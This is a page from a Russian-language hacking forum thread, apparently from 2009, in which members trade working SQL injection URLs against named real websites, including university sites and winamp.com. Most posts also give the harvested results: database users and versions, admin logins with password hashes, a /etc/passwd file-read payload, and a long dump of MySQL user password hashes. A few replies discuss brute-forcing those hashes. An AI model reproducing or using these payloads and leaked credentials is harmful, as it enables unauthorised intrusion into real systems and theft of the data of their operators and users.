SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 369 of 798
  1. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    http://www.unnindia.com/english/story.php?Id=-3676+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13--
    pr2 vers 4.1.22-standart

    http://www.kmiz.com/news/story.php?id=-11875+union+select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
    5.0.45

    http://www.bzpower.com/story.php?ID=-542+union+select+1,2,3,4,5,6,version(),8,9,10,11,12,13,14--
    5.0.51a-community

    http://www.sflcn.com/story.php?id=-4861+union+select+1,2,userName,4,5,6,7,8+from+users--
    successful:success224


    http://www.inhealthnw.com/story.php?id=-90+union+select+1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15--
    4.1.21-standard
     
    #7361 hackmen, 9 Jan 2009
    1 person likes this.
  2. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://autoportal.od.ua/?a=tuning_full&id=-53+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5--
    auto_root@localhost:auto_db:5.0.51a-community

    Code:
    http://autoportal.od.ua/?a=tuning_full&id=-53+union+select+1,2,3,concat_ws(0x3a,login,pass),5+from+users+limit+0,1--
    lapochka:0bea5be224d0b4f0f8da45733655f1ec
    Code:
    http://autoportal.od.ua/admin/
    Вход без паса.
     
    #7362 ..::TROYAN::.., 9 Jan 2009
    1 person likes this.
  3. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    http://autoportal.od.ua/

    зашел и меня чуть не стошнило 0_о!
    ССкоко там ошыбок!
     
    #7363 zifanchuck, 9 Jan 2009
  4. hackmen

    hackmen Banned

    Joined:
    22 Oct 2007
    Messages:
    110
    Likes Received:
    46
    Reputations:
    1
    http://www.bramcoteschool.com/news/story.php?id=-73+union+select+table_name+from+INFORMATION_SCHEMA.TABLES--

    http://www.world-challenge.com/news/story.php?ID=-799+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,concat_ws(0x3a,password,username),16,17+from+users--

    http://www.nigerianinvestments.com/story.php?id=-44+union+select+1,2,version(),4,5--
    4.1.21-log

    http://www.eslmonkeys.com/student/storyroom/story.php?id=-17+union+select+1,2,version(),4,5,6,7,8,9,10,11--
    5.0.51a-community
     
    #7364 hackmen, 10 Jan 2009
  5. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    PageRank: 8 тИЦ: 1200

    http://www.dartmouth.edu/~djsa/list_songs.php?table=Occasion&songAttribute=Omer'+union+select+1,LOAD_FILE('/etc/passwd'),3/*
    удачи ;)
     
    #7365 AkyHa_MaTaTa, 10 Jan 2009
    1 person likes this.
  6. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.aib.in.ua/objav/comment/?id=-1+union+select+1,concat_ws(0x3a,username,user_password),3,4+from+phpbb_users--
    Code:
    http://www.aib.in.ua/objav/comment/?id=-1+union+select+1,concat_ws(0x3a,login,password),3,4+from+users--
    Code:
    http://www.aib.in.ua/objav/comment/?id=-1+union+select+1,table_name,3,4+from+information_schema.tables--
    Code:
    http://www.aib.in.ua/objav/comment/?id=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4--
    ezh@localhost:5.0.51a-log:aib
    PR:2
    ТиЦ: 10
     
    #7366 ..::TROYAN::.., 10 Jan 2009
  7. Кемит Блонски

    Кемит Блонски Member

    Joined:
    4 Jan 2009
    Messages:
    12
    Likes Received:
    15
    Reputations:
    0
    вообщем вот:

    Code:
    http://www.islandreccenter.org/page....(),4,5,6,7,8/*

    version: 4.1.22
    user: islandrec3@localhost
    database: islandrec3

    Code:
    http://breakdance.ru/index.php?id=-1...5,6,7,8,9,10/*

    version: 4.1.22
    user: break@localhost
    database: breake


    Code:
    http://www.smack-dynamik.com/oartist...,7,8,9,10,11/*

    version: 4.1.21-standard
    user: smackdyn_smack@localhost
    database: smackdyn_smack


    Code:
    http://www.bayworld.co.za/press.php?...on(),3,4,5,6/*

    version: 5.0.32-Debian_7etch1-log
    user: bayworld@localhost
    database: bayworld


    Code:
    http://vryeafrikaan.co.za/lees.php?i...,4,5,6,7,8,9/*

    version: 4.0.18-log
    user: vry-eqly@localhost
    database: vryeafrikaan
     
    #7367 Кемит Блонски, 10 Jan 2009
  8. Octave_Parango

    Octave_Parango Member

    Joined:
    6 Nov 2008
    Messages:
    83
    Likes Received:
    11
    Reputations:
    -1
    Database Version: 5.0.51a-community
    Database name: actweb
    User name: act-web@localhost


    Database Version: 5.0.45-log
    Database name: icma2006
    User name: [email protected]


    http://barevnakeramika.cz/admin.php

    Database Version: 5.0.32-Debian_7etch8-log
    Database name: barkeram
    User name: barkeram@localhost


    Database Version: 5.0.21
    Database name: ekoneum
    User name: [email protected]


    Database Version: 5.0.67-log
    Database name: mightylab
    User name: [email protected]


    enjoy
     
    #7368 Octave_Parango, 10 Jan 2009
  9. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    пылилась долго в моем списке. Хз когда находил.

    Code:
    http://www.scripps.[B][COLOR=LemonChiffon]edu[/COLOR][/B]/skaggs/kelly/research.php?a=a&cid=12&lsc=g&lscid=-1+union+select+1,2,concat(user(),0x3a,@@version,0x3a,database()),4/*
    kelly@localhost:5.0.41-community:kelly
     
    #7369 The matrix, 10 Jan 2009
    1 person likes this.
  10. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Готовы к подаркам *) В общем еще один крупный проект отработанный мной!

    Много много плюсиков мне за такой эксклюзивчик.

    Меня точно пасадют -)

    WINAMP.COM

    тИЦ = 2300
    PageRank = 8


    http://www.winamp.com/skins/details/999140397+union+select+1,2,3,4,5,6,7,concat_ws(0x3a3a,version(),user(),database()),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34--

    Version:5.0.41-log
    User:[email protected]
    Database:winamp


    http://www.winamp.com/skins/details/999140397+union+select+1,2,3,4,5,6,7,concat_ws(0x3a3a,user,password),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+mysql.user--

    root:: *0EC95A715350E380433D4368A865B6AA8CBAA0DD
    repl:: *EBD5E66022FB70BC57D340689E8ABA6A9E082B53
    scout:: *EEDEE7D88BB8FCC1EA0FE5F883ED32595A91C369
    mydbm:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    nandinib:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    agalper:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    awang01:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    evan:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    faringer:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    jaiminks:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    jeelanib:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    joegibbs:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    jsobhani:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    kpettit:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    ltowle:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    mnj6819:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    tapan:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    toni:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    bhaskara:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    santoshp:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    muruganp:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    NowellC1:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    michaeld005:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    sjdevir:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    lshoang:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    chriscnguyen:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    jpepersack05:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    kaliyaperumal11:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    vvsaxena:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    simondsja:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    santoshk02:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    bhaskaram01:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    shrisri:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    muruganperumal:: *A9C391720DC3B218CD5EFEDFEDB8C55602EFE2FE
    winamp_read:: *DD055FFF6E1066B0F6EA932465DB32333A3F766A
    winamp_write:: *0C8DD50C9A7AD182564C884E95E9656344631780
     
    #7370 spherics, 10 Jan 2009
    10 people like this.
  11. UgMan

    UgMan New Member

    Joined:
    22 Dec 2008
    Messages:
    1
    Likes Received:
    1
    Reputations:
    2
    Жеееесть, примерно число посетителей 3,296,412 visits per day
    ;)
     
    #7371 UgMan, 10 Jan 2009
  12. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    IMAGES FESTIVAL
    Code:
    http://www.imagesfestival.com/call.php?id=-10+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8,9,10,11--
    user(): imagesfest@localhost
    version(): 4.0.27-icd1-log
    database(): imagesfestival
    тИЦ: 20
    PR: 5


    Ambro and Associates Mortgage Consultants
    Code:
    http://www.aamc.ca/about.php?id=-10+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7,8--
    user(): [email protected]
    version(): 5.0.67-log
    database(): ambro
    PR: 2
     
    #7372 z00MAN, 10 Jan 2009
  13. fortune

    fortune New Member

    Joined:
    8 Jan 2009
    Messages:
    5
    Likes Received:
    3
    Reputations:
    0
    http://cbr.med.harvard.edu/page.php?branch=newsroom&page=releases&type=9&year=2004&id=61%20union%20all%20select%201,2,3,4,5,6,7--

    version: 4.1.22-log
    user: [email protected]
    Database: cbr
     
    #7373 fortune, 10 Jan 2009
  14. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    Code:
    http://kofein.kiev.ua/?menu=12&info=3&did=-1/**/union/**/select/**/concat_ws(0x3a,version(),user(),database())--
     
    #7374 iddqd, 10 Jan 2009
    2 people like this.
  15. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    http://www.moto.ru/news/motonews.php?id=-3917+union+select+1,2,concat_ws(0x3a3a,version(),user(),database())--

    тИЦ = 1100

    Version:4.1.22-standard-log
    User:aprilia_aprilia@localhost
    Database:aprilia_aprilia
     
    #7375 spherics, 10 Jan 2009
  16. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    Code:
    http://www.mad-love.ru/blogs.php?user=-1+union+select+concat_ws(0x3a,user(),version(),database()),2,3,4,5,6,7,8,9--
    madlove1_user@localhost:5.0.32-Debian_7etch5-log:madlove1_db
    PR:2
    ТиЦ:80
    Code:
    http://www.mad-love.ru/blogs.php?user=-1+union+select+1,2,3,4,5,6,7,8,table_name+from+information_schema.tables+limit+0,1--
    Code:
    http://www.mad-love.ru/blogs.php?user=-1+union+select+1,2,3,4,5,6,7,8,login+from+users+limit+0,1--
    таблицу с паролями ненашол=/
     
    #7376 ..::TROYAN::.., 10 Jan 2009
    Last edited: 10 Jan 2009
  17. FunkFan

    FunkFan New Member

    Joined:
    7 Jan 2009
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    spherics помойму этой иньекции уже нет. А как кстати такие хэши расшифровываються?
     
    #7377 FunkFan, 10 Jan 2009
  18. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    не расшифровываються а брутяться, password pro - тип хеша Mysql5
     
    #7378 AkyHa_MaTaTa, 10 Jan 2009
  19. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    работая лимитом получаем:
    Code:
    http://www.mad-love.ru/blogs.php?user=-1+union+select+1,2,3,4,5,6,7,8,table_name+from+information_schema.tables+limit+64,1--
    вот:
    Code:
    http://www.mad-love.ru/blogs.php?user=-1+union+select+1,2,3,4,5,6,7,8,concat(login,0x3a,psw,0x3a,email)+from+users+limit+1,1--
     
    #7379 z00MAN, 10 Jan 2009
    1 person likes this.
  20. FunkFan

    FunkFan New Member

    Joined:
    7 Jan 2009
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    а мог бы уточнить название а то много разных прог находиться?
     
    #7380 FunkFan, 10 Jan 2009
(You must log in or sign up to post here.)
Page 369 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.